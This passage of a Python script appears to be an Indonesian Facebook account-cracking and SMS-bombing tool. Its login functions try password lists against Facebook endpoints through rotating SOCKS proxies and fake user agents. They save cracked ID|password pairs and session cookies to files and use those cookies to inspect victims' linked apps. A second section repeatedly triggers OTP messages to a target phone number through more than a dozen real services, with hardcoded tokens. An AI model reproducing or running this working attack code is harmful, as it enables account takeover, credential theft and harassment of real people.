'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  2139.             po = ses.post('https://d.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  2140.             if "checkpoint" in po.cookies.get_dict().keys():           
  2141.            
  2142.                 if 'no' in gabriel:
  2143.                     cp+=1
  2144.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  2145.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2146.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2147.                     cetak(CYXID)
  2148.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2149.                     akun.append(idf+'|'+pw)
  2150.                     break
  2151.                    
  2152.                 if 'no' in gabriel:
  2153.                     cp+=1
  2154.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  2155.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2156.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2157.                     cetak(CYXID)
  2158.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2159.                     akun.append(idf+'|'+pw)
  2160.                     ceker(idf,pw)
  2161.                     break
  2162.             elif "c_user" in ses.cookies.get_dict().keys():
  2163.                 if 'no' in taplikasi:
  2164.                     ok+=1
  2165.                     coki=po.cookies.get_dict()
  2166.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2167.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2168.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2169.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2170.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2171.                     cetak(CYXID)
  2172.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2173.                     break
  2174.                 elif 'ya' in taplikasi:
  2175.                     ok+=1
  2176.                     coki=po.cookies.get_dict()
  2177.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2178.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2179.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2180.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2181.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2182.                     cetak(CYXID)
  2183.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2184.                     cek_apk(kuki)
  2185.                     break      
  2186.                
  2187.             else:
  2188.                 continue
  2189.         except requests.exceptions.ConnectionError:
  2190.             time.sleep(31)
  2191.     loop+=1
  2192.    
  2193. def metod13(idf,pwv):
  2194.     global loop,ok,cp
  2195.     prog.update(des,description=f"[bold green]asyinc.facebook.com[bold white] {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
  2196.     prog.advance(des)
  2197.     ua = random.choice(ugen)
  2198.     ua2 = random.choice(ugen2)
  2199.     ses = requests.Session()
  2200.     for pw in pwv:
  2201.         try:
  2202.             if 'ya' in ualuh: ua = ualu[0]
  2203.             nip=random.choice(prox)
  2204.             proxs= {'http': 'socks5://'+nip}
  2205.             ses.headers.update({"Host": "m.facebook.com","cache-control": "max-age=0","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","sec-ch-ua": '" Not A;Brand";v="99", "Chromium";v="104"',"sec-ch-ua-mobile": "?1","sec-fetch-site": "same-origin","sec-fetch-mode": "cors","sec-fetch-dest": "empty","sec-fetch-user": "?1","upgrade-insecure-requests": "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  2206.             p = ses.get("https://m.facebook.com/login.php?skip_api_login=1&api_key=206428089508143&kid_directed_site=0&app_id=206428089508143&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D206428089508143%26redirect_uri%3Dhttps%253A%252F%252Fwww.zalora.co.id%252Fcustomer%252Fsocialconnect%252Fendpoint%253Fhauth_done%253DFacebook%26scope%3Demail%252Cuser_birthday%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D0c67b520-a187-48a6-8125-3256fe975775%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.zalora.co.id%2Fcustomer%2Fsocialconnect%2Fendpoint%3Fhauth_done%3DFacebook%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DHA-S3X0PV7ZQH6DAFTK5IJRM9EWYCBOU8214NLG%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  2207.             dataa ={'lsd': re.search('name="lsd" value="(.*?)"',str(p.text)).group(1), 'jazoest': re.search('name="jazoest" value="(.*?)"',str(p.text)).group(1), 'm_ts': re.search('name="m_ts" value="(.*?)"',str(p.text)).group(1), 'li': re.search('name="li" value="(.*?)"',str(p.text)).group(1), 'try_number': '0', 'unrecognized_tries': '0', 'email': idf, 'pass': pw, 'prefill_contact_point': '', 'prefill_source': '', 'prefill_type': '', 'first_prefill_source': '', 'first_prefill_type': '', 'had_cp_prefilled': 'false', 'had_password_prefilled': 'false', 'is_smart_lock': 'false', 'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(p.text)).group(1)}
  2208.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  2209.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  2210.             heade={
  2211.             "Host": "m.facebook.com",
  2212.             "content-length": f"{len(str(dataa))}",
  2213.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(p.text)).group(1),
  2214.             "origin": "https://m.facebook.com",
  2215.             "content-type": "application/x-www-form-urlencoded",
  2216.             "user-agent": ua,
  2217.             "accept": "*/*",
  2218.             "x-requested-with": "com.microsoft.bing",
  2219.             "sec-ch-ua": '"Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"',
  2220.             "sec-ch-ua-platform": '"Android"',
  2221.             "sec-ch-ua-mobile": "?1",
  2222.             "sec-fetch-site": "same-origin",
  2223.             "sec-fetch-mode": "cors",
  2224.             "sec-fetch-dest": "empty",
  2225.             "sec-fetch-user": "?1",
  2226.             "referer": "https://m.facebook.com/v8.0/dialog/oauth?response_type=code%2Cgranted_scopes&client_id=1239138353201716&redirect_uri=https%3A%2F%2Fkachishop-d0c3a.firebaseapp.com%2F__%2Fauth%2Fhandler&state=AMbdmDmDaplWH_DdoV_W4QQTmWmecz1GxWXAlj2cdr_Vf_0aKRi-oWe-Z3FTiIj8pa4JD342zNeLW91aHp12LY9dOYb8tOPKOtsEllaj3JYdF79-cf8Wr-OPLhAn7Zq1LeUfJWdCxX2mAPKVYOG0CChDNxiBnmVCUG3LGCJ3sCTSc1Eb5dZseFVZe2lUqc6Yzz92V58Ki3TvYM7HjC_421qwGmMHJNi0xIaeVA917YCkm8d-wMthO_lSm3eIQPryPnbreRYgONBzhtx692MYCYA3_6dPlkm70JVkIuHGHRiJ98KokSMQRhxjZJCAp_GbKVMDXvSWm0ZtdYR5CI4UZgrB&scope=public_profile%2Cemail&display=popup&ret=login&fbapp_pres=0&logger_id=087a364c-3d69-45b4-a55b-047dae50317c&tp=unspecified",
  2227.             "accept-encoding": "gzip, deflate br",
  2228.             "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  2229.             }
  2230.             po = ses.post('https://m.facebook.com/login/device-based/login/async/?refsrc=deprecated&lwv=100',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
  2231.             if "checkpoint" in po.cookies.get_dict().keys():           
  2232.            
  2233.                 if 'no' in gabriel:
  2234.                     cp+=1
  2235.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴""",width=30,style=f"bold blue"))
  2236.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2237.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2238.                     cetak(CYXID)
  2239.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2240.                     akun.append(idf+'|'+pw)
  2241.                     break
  2242.                    
  2243.                 if 'no' in gabriel:
  2244.                     cp+=1
  2245.                     CYXID = Tree(panel(f"""[bold yellow]LOGIN CECKPOINT BOLO 🥴 """,width=30,style=f"bold blue"))
  2246.                     CYXID.add(panel(f"[bold yellow]{idf} | {pw}[bold white]",width=40,style=f"bold blue")).add(panel(f"[bold yellow]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2247.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2248.                     cetak(CYXID)
  2249.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  2250.                     akun.append(idf+'|'+pw)
  2251.                     ceker(idf,pw)
  2252.                     break
  2253.             elif "c_user" in ses.cookies.get_dict().keys():
  2254.                 if 'no' in taplikasi:
  2255.                     ok+=1
  2256.                     coki=po.cookies.get_dict()
  2257.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2258.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2259.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2260.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2261.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2262.                     cetak(CYXID)
  2263.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2264.                     break
  2265.                 elif 'ya' in taplikasi:
  2266.                     ok+=1
  2267.                     coki=po.cookies.get_dict()
  2268.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  2269.                     CYXID = Tree(panel(f"""[bold green]LOGIN SUKSES BOLO 🧐 """,width=25,style=f"bold blue"))
  2270.                     CYXID.add(panel(f"[bold green]{idf} | {pw}[bold white]",width=35,style=f"bold blue")).add(panel(f"[bold green]{cektahun(idf)}[bold white]",width=15,style=f"bold blue"))
  2271.                     CYXID.add(panel(f"[bold green]{kuki}[bold white]",style="bold blue"))
  2272.                     CYXID.add(panel(f"{A2}{ua}[bold white]",style="bold blue"))
  2273.                     cetak(CYXID)
  2274.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  2275.                     cek_apk(kuki)
  2276.                     break      
  2277.                
  2278.             else:
  2279.                 continue
  2280.         except requests.exceptions.ConnectionError:
  2281.             time.sleep(31)
  2282.     loop+=1
  2283.    
  2284. #-----------------------[ CEK APLIKASI ]--------------------#
  2285. def cek_apk(kuki):
  2286.     session = requests.Session()
  2287.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  2288.     sop = bs4.BeautifulSoup(w,"html.parser")
  2289.     x = sop.find("form",method="post")
  2290.     game = [i.text for i in x.find_all("h3")]
  2291.     try:
  2292.         for i in range(len(game)):
  2293.             print ("\r%s  \033[0m              ☕ %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  2294.     except AttributeError:
  2295.         print ("\r    %s\033[0m cookie invalid"%(M))
  2296.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  2297.     sop = bs4.BeautifulSoup(w,"html.parser")
  2298.     x = sop.find("form",method="post")
  2299.     game = [i.text for i in x.find_all("h3")]
  2300.     try:
  2301.         for i in range(len(game)):
  2302.             print ("\r%s  \033[0m              🚬 %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  2303.     except AttributeError:
  2304.         print ("\r    %s \033[0mcookie invalid"%(M))
  2305.  
  2306. def ceker(idf,pw):
  2307.     try:
  2308.         ml = random.choice(['mbasic','free'])
  2309.         h2 = {'host':'{ml}.facebook.com','accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','accept-encoding':'gzip, deflate','accept-language':'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7','cache-control':'max-age=0','origin':'https://www.facebook.com','referer':'https://www.facebook.com','sec-ch-ua':'" Not A;Brand";v="99", "Chromium";v="101"','upgrade-insecure-requests':'1','user-agent': ua}
  2310.         res = ses.get(f'https://{ml}.facebook.com/login/device-based/password/?uid={idf}&flow=login_no_pin&refsrc=deprecated&_rdr',headers=h2).text
  2311.         ress = parser(res, 'html.parser')
  2312.         form = ress.find('form',{'method':'post'})
  2313.         data2 = {x.get('name'):x.get('value') for x in form.find_all('input',{'type':['submit','hidden']})}
  2314.         data2.update({
  2315.                     'email':idf,
  2316.                     'pass':pw})
  2317.         res = ses.post('https://{ml}.facebook.com'+form.get('action'),data=data2,headers=h2).text
  2318.         ress = parser(res, 'html.parser')
  2319.         if 'Lihat detail login yang ditampilkan. Ini Anda?' in str(ress.find('title').text):
  2320.             akun += f' [+] Akun Tap Yess Cek Di Mbasic                   '
  2321.         else:
  2322.             if(len(sesi(res))==0):
  2323.                 if 'Masukkan Kode Masuk untuk Melanjutkan' in str(ress.find('title').text):
  2324.                     akun += f' [+] Akun Terpasang A2F                    '
  2325.                 else:
  2326.                     akun += f' [+] Akun Tidak Checkpoint Cek Di Mbasic                  '
  2327.             else:
  2328.                 akun += f' [+] Terdapat {len(opsi)} Opsi Checkpoint :                     '
  2329.                 o = 0
  2330.                 for cp in opsi:
  2331.                     o+=1
  2332.                     akun += f' [+] {cp}               '
  2333.         opsi.clear()
  2334.     except Exception as e:
  2335.         akun += f' [+] Kata Sandi Salah Kemungkinan Anda Terkena Spam Ip                  '
  2336.     print(akun)    
  2337.  
  2338. #------------------[ DEFF SPAM SMS ]-------------------#
  2339.  
  2340. agent = random.choice(
  2341.         [
  2342.             "Mozilla/5.0 (Linux; Android 6.0.1; SM-J500M Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36",
  2343.             "Mozilla/5.0 (Linux; Android 5.0; SM-G900F Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36",
  2344.             "Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4X Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
  2345.             "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36"
  2346.             "Mozilla/5.0 (Linux; Android 10; SM-A305F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
  2347.     ]
  2348. )
  2349.  
  2350. def process_data1():
  2351.     sleep(0.10)
  2352.    
  2353. def spam_sms():
  2354.     global nomor
  2355.     cetak(panel(f'''   [bold white]Masukan Nomor Target Yang Ingin Di Spam Contoh : +6281234567xxx''',width=87,padding=(0,8),title=f"[bold red]★[bold yellow]★[bold green]★[bold red] SPAM SMS [bold red]★[bold yellow]★[bold green]★[bold red]",style=f"{color_panel}"))
  2356.     nomor = input(f"└── [+] Input No Hp : +62").replace("+62","")
  2357.     if nomor == "":
  2358.         pass
  2359.     else:
  2360.         while True:
  2361.             for _ in track(range(100), description=f'└── [+] Sedang Spam...'):process_data1()
  2362.             sxp_sms()
  2363.  
  2364. class sxp_sms:
  2365.  
  2366.     def __init__(self):
  2367.         self.req = requests.Session()
  2368.         self.main()
  2369.  
  2370.     def sms_otp_1(self, no):
  2371.         __req__ = self.req.post("https://service.mokapos.com/account/v1/verification/phone/send",
  2372.             headers = {
  2373.                   "accept": "application/json, text/plain, */*",
  2374.                   "authorization": "undefined",
  2375.                   "save-data": "on",
  2376.                   "user-agent": agent,
  2377.                   "content-type": "application/json;charset=UTF-8"
  2378.                 },
  2379.             json = {
  2380.                  "phone_number": f"+62{no}"
  2381.               }
  2382.         ).text
  2383.  
  2384.     def sms_otp_2(self, no):
  2385.         data = json.dumps({
  2386.                     "mobile": f"0{no}",
  2387.                     "noise": "1583590641573155574",
  2388.                     "request_time": "158359064157312",
  2389.                     "access_token": "11111"
  2390.                    })
  2391.         __req__ = self.req.post("https://apiservice.rupiahcepatweb.com/webapi/v1/request_login_register_auth_code",
  2392.             headers = {
  2393.                     "accept": "text/html, application/xhtml+xml, application/json, */*",
  2394.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  2395.                     "content-length": "166",
  2396.                     "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  2397.                     "origin": "https://h5.rupiahcepatweb.com",
  2398.                     "referer": "https://h5.rupiahcepatweb.com/dua2/pages/openPacket/openPacket.html?activityId=11&invite=200219190100215723",
  2399.                     "sec-fetch-dest": "empty",
  2400.                     "sec-fetch-mode": "cors",
  2401.                     "sec-fetch-site": "same-site",
  2402.                     "user-agent": agent
  2403.                   },
  2404.             data = {
  2405.                  "data": data
  2406.                }
  2407.         ).text
  2408.  
  2409.     def sms_otp_3(self, no):
  2410.         __req__ = self.req.post("https://www.olx.co.id/api/auth/authenticate",
  2411.             headers = {
  2412.                     "accept": "*/*",
  2413.                     "x-newrelic-id": "VQMGU1ZVDxABU1lbBgMDUlI=",
  2414.                     "x-panamera-fingerprint": "83b09e49653c37fb4dc38423d82d74d7#1597271158063",
  2415.                     "user-agent": agent,
  2416.                     "content-type": "application/json"
  2417.                   },
  2418.             json = {
  2419.                  "grantType": "retry",
  2420.                  "method": "sms",
  2421.                  "phone": no,
  2422.                  "language": "id"
  2423.                 }
  2424.         ).text
  2425.  
  2426.     def sms_otp_4(self, no):
  2427.         __req__ = self.req.post("https://www.alodokter.com/login-with-phone-number",
  2428.             headers = {
  2429.                     "user-agent": agent,
  2430.                     "content-type": "application/json",
  2431.                     "referer": "https://www.alodokter.com/login-alodokter",
  2432.                     "accept": "application/json",
  2433.                     "origin": "https://www.alodokter.com"
  2434.                   },
  2435.             json = {
  2436.                  "user":{
  2437.                       "phone": f"0{no}"
  2438.                     }
  2439.                 }
  2440.         ).text
  2441.  
  2442.     def sms_otp_5(self, no):
  2443.         __req__ = self.req.post("https://www.kelaspintar.id/user/otpverification",
  2444.             headers = {
  2445.                     "x-requested-with": "XMLHttpRequest",
  2446.                     "user-agent": agent,
  2447.                     "Referer": "https://www.kelaspintar.id/"
  2448.                   },
  2449.             data = {
  2450.                  "user_mobile": no,
  2451.                  "otp_type": "send_otp_reg",
  2452.                  "mobile_code": "%2B62"
  2453.                 }
  2454.         ).text
  2455.  
  2456.     def sms_otp_6(self, no):
  2457.         aink_sanz = random.choice(
  2458.                         [
  2459.                             "Hallo Mantan",
  2460.                             "Hallo Bangsad",
  2461.                             "Hallo Sayang",
  2462.                             "Hallo Ripper",
  2463.                             "Hallo Ngab"
  2464.                         ]
  2465.                     )
  2466.         email = random.choice(
  2467.                     [
  2468.                         "nsnsmsmksksmsm@gmail.com",
  2469.                         "lavon.lockman@gmail.com",
  2470.                         "duane_mclaughlin38@gmail.com",
  2471.                         "alfreda.lindgren@gmail.com",
  2472.                         "leonardo_kuhlman@gmail.com",
  2473.                         "lyric51@gmail.com",
  2474.                         "devonte_littel@gmail.com",
  2475.                         "newell.kuhic@gmail.com"
  2476.                     ]
  2477.                 )
  2478.         pw = random.choice(
  2479.                     [
  2480.                         "mamsmms123",
  2481.                         "Wadepak1037",
  2482.                         "waifugw1011"
  2483.                     ]
  2484.                 )
  2485.         birth_date = random.choice(
  2486.                         [
  2487.                             "13/09/1999",
  2488.                             "04/02/2022",
  2489.                             "05/02/2022",
  2490.                             "05/02/2022",
  2491.                             "06/02/2022",
  2492.                             "10/02/2022"
  2493.                         ]
  2494.     )
  2495.         __req__ = self.req.post("https://www.matahari.com/rest/V1/thorCustomers",
  2496.             json = {
  2497.                 "thor_customer":{
  2498.                         "name": aink_sanz,
  2499.                         "card_number": None,
  2500.                         "email_address": email,
  2501.                         "mobile_country_code": "+62",
  2502.                         "gender_id": "1",
  2503.                         "mobile_number": f"0{no}",
  2504.                         "mro": "",
  2505.                         "password": pw,
  2506.                         "birth_date": birth_date
  2507.                         }
  2508.                 },
  2509.             headers = {
  2510.                     "Host": "www.matahari.com",
  2511.                     "x-newrelic-id": "Vg4GVFVXDxAGVVlVBgcGVlY=",
  2512.                     "origin": "https://www.matahari.com",
  2513.                     "user-agent": agent,
  2514.                     "content-type": "application/json",
  2515.                     "accept": "*/*",
  2516.                     "x-requested-with": "XMLHttpRequest",
  2517.                     "referer": "https://www.matahari.com/customer/account/create/",
  2518.                     "accept-encoding": "gzip, deflate, br",
  2519.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2520.                 }
  2521.  
  2522.         ).text
  2523.  
  2524.     def sms_otp_7(self, no):
  2525.         __req__ = self.req.post("https://api.duniagames.co.id/api/user/api/v2/user/send-otp",
  2526.             headers = {
  2527.                     "Host": "api.duniagames.co.id",
  2528.                     "content-length": "32",
  2529.                     "accept": "application/json, text/plain, */*",
  2530.                     "x-device": "cc45ed83-73bd-4a98-83e3-874e8bc11a7f",
  2531.                     "accept-language": "id",
  2532.                     "user-agent": agent,
  2533.                     "ciam-type": "FR",
  2534.                     "content-type": "application/json",
  2535.                     "origin": "https://duniagames.co.id",
  2536.                     "sec-fetch-site": "same-site",
  2537.                     "sec-fetch-mode": "cors",
  2538.                     "sec-fetch-dest": "empty",
  2539.                     "referer": "https://duniagames.co.id/",
  2540.                     "accept-encoding": "gzip, deflate, br"
  2541.                   },
  2542.             json = {
  2543.                  "phoneNumber": f"+62{no}"
  2544.                 }
  2545.         ).text
  2546.  
  2547.     def sms_otp_8(self, no):
  2548.         __req__ = self.req.post("https://harvestcakes.com/register",
  2549.             headers = {
  2550.                     "user-agent": agent,
  2551.                     "Referer": "https://harvestcakes.com/register"
  2552.                   },
  2553.             data = {
  2554.                  "phone": f"0{no}",
  2555.                  "url": ""
  2556.                 }
  2557.         ).text
  2558.  
  2559.     def sms_otp_9(self, no):
  2560.         __req__ = self.req.post("https://identity-gateway.oyorooms.com/identity/api/v1/otp/generate_by_phone?locale=id",
  2561.             headers = {
  2562.                     "Host": "identity-gateway.oyorooms.com",
  2563.                     "consumer_host": "https://www.oyorooms.com",
  2564.                     "accept-language": "id",
  2565.                     "access_token": "SFI4TER1WVRTakRUenYtalpLb0w6VnhrNGVLUVlBTE5TcUFVZFpBSnc=",
  2566.                     "user-agent": agent,
  2567.                     "Content-Type": "application/json",
  2568.                     "accept": "*/*",
  2569.                     "origin": "https://www.oyorooms.com",
  2570.                     "referer": "https://www.oyorooms.com/login",
  2571.                     "Accept-Encoding": "gzip, deflate, br"
  2572.                   },
  2573.             json = {
  2574.                  "phone": f"0{no}",
  2575.                  "country_code": "+62",
  2576.                  "country_iso_code": "ID",
  2577.                  "nod": "4",
  2578.                  "send_otp": "true",
  2579.                  "devise_role": "Consumer_Guest"
  2580.                 }
  2581.         ).text
  2582.  
  2583.     def sms_otp_10(self, no):
  2584.         __req__ = self.req.post("https://crp-app.stamps.co.id/api/auth/validate-mobile-number",
  2585.             json = {
  2586.                 "mobile_number": f"0{no}",
  2587.                 "token": "sI01tF5bOSYHabS7HaXiB1k3j0JxFxbcQ79Rd1HFBjKEKJqYAwSNMScsx9AEZq3O"
  2588.                 },
  2589.             headers = {
  2590.                     "Host": "crp-app.stamps.co.id",
  2591.                     "content-type": "application/json; charset=utf-8",
  2592.                     "content-length": "106",
  2593.                     "accept-encoding": "gzip",
  2594.                     "User-Agent": agent
  2595.             }
  2596.         ).text
  2597.  
  2598.     def sms_otp_11(self, no):
  2599.         __req__ = self.req.post("https://app-api.kredito.id/client/v1/common/verify-code/send",
  2600.             headers = {
  2601.                     "LPR-TIMESTAMP": "1603281035821",
  2602.                     "Accept-Language": "id-ID",
  2603.                     "LPR-BRAND": "Kredito",
  2604.                     "LPR-PLATFORM": "android",
  2605.                     "user-agent": agent,
  2606.                     "Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOi0xNjAzMjgxMDE3MjAzLCJ1dHlwZSI6ImFub24iLCJleHAiOjE2MDMyODQ2MTd9._HUnW7FQmMiDWvSejS0MBqMq95l2rk_6PuxDeXY5Oks",
  2607.                     "LPR-SIGNATURE": "e15dbea8602409df32a2ed5a123dc244",
  2608.                     "Content-Type": "application/json; charset=UTF-8",
  2609.                     "Content-Length": "79"
  2610.                    },
  2611.             data = '{"event":"default_verification","mobilePhone":"%s","sender":"jatissms"}' % no
  2612.         ).text
  2613.  
  2614.     def sms_otp_12(self, no):
  2615.         __req__ = self.req.post("https://www.autofun.co.id:443/v2/captcha/sms",
  2616.             headers = {
  2617.                     "Host": "www.autofun.co.id",
  2618.                     "Connection": "keep-alive",
  2619.                     "Content-length": "84",
  2620.                     "accept": "*/*",
  2621.                     "user-agent": agent,
  2622.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7",
  2623.                     "content-type": "application/json;charset=UTF-8",
  2624.                     "Origin": "https://www.autofun.co.id",
  2625.                     "X-Requested-With": "acr.browser.barebones",
  2626.                     "Sec-Fetch-Site": "same-origin",
  2627.                     "Sec-Fetch-Mode": "cors",
  2628.                     "Sec-Fetch-Dest": "empty",
  2629.                     "Referer": "https://www.autofun.co.id/mobil/datsun",
  2630.                     "Accept-Encoding": "gzip, deflate"
  2631.                 },
  2632.             json = {
  2633.                     "phoneNum": f"62{no}",
  2634.                     "languageCode": "id-id",
  2635.                     "countryCode": "id",
  2636.                     "platform": 2
  2637.             }
  2638.         ).text
  2639.  
  2640.     def sms_otp_13(self, no):
  2641.         __req__ = self.req.post("https://api.myfave.com/api/fave/v3/auth",
  2642.             json = {
  2643.                     "phone":"+62"+no
  2644.                 },
  2645.             headers = {
  2646.                     "Host": "api.myfave.com",
  2647.                     "Connection": "keep-alive",
  2648.                     "x-user-agent": "Fave-PWA/v1.0.0",
  2649.                     "Origin": "https://m.myfave.com",
  2650.                     "user-agent": agent,
  2651.                     "content-type": "application/json",
  2652.                     "Accept": "*/*",
  2653.                     "Referer": "https://m.myfave.com/jakarta/auth",
  2654.                     "Accept-Encoding": "gzip, deflate, br",
  2655.                     "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2656.             }
  2657.         ).text
  2658.  
  2659.     def sms_otp_14(self, no):
  2660.         nickname = random.choice(
  2661.                       [
  2662.                         "fahmi",
  2663.                         "xzc0der",
  2664.                         "bed3bah",
  2665.                         "xmanz"
  2666.                       ]
  2667.                     )
  2668.         angka = random.randint(
  2669.                     111,
  2670.                     999
  2671.                       )
  2672.         __req__ = self.req.post("https://wong.kitabisa.com/register/draft",
  2673.             headers = {
  2674.                     "Host": "wong.kitabisa.com",
  2675.                     "x-ktbs-platform-name": "pwa",
  2676.                     "origin": "https://account.kitabisa.com",
  2677.                     "x-ktbs-time": "1611020248",
  2678.                     "user-agent": agent,
  2679.                     "x-ktbs-api-version": "1.0.0",
  2680.                     "accept": "application/json",
  2681.                     "x-ktbs-client-name": "kanvas",
  2682.                     "x-ktbs-request-id": "107790c3-86e0-4872-9dfb-b9c5da9bfa13",
  2683.                     "x-ktbs-client-version": "1.0.0",
  2684.                     "x-ktbs-signature": "e6b4dd627125b3ccd53de193d165c481cc7fdfef0b1dcd7a587636a008fdc89e",
  2685.                     "version": "3.4.0",
  2686.                     "referer": "https://account.kitabisa.com/register/otp?type=sms",
  2687.                     "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  2688.                   },
  2689.             json = {
  2690.                  "full_name": nickname+str(angka),
  2691.                  "username": f"62{no}",
  2692.                  "otp_type": "sms"
  2693.                 }
  2694.         ).text
  2695.  
  2696.     def main(self):
  2697.         self.sms_otp_1(nomor)
  2698.         self.sms_otp_2(nomor)
  2699.         self.sms_otp_3(nomor)
  2700.         self.sms_otp_4(nomor)
  2701.         self.sms_otp_5(nomor)
  2702.         self.sms_otp_6(nomor)
  2703.         self.sms_otp_7(nomor)
  2704.         self.sms_otp_8(nomor)
  2705.         self.sms_otp_9(nomor)
  2706.         self.sms_otp_10(nomor)
  2707.         self.sms_otp_11(nomor)
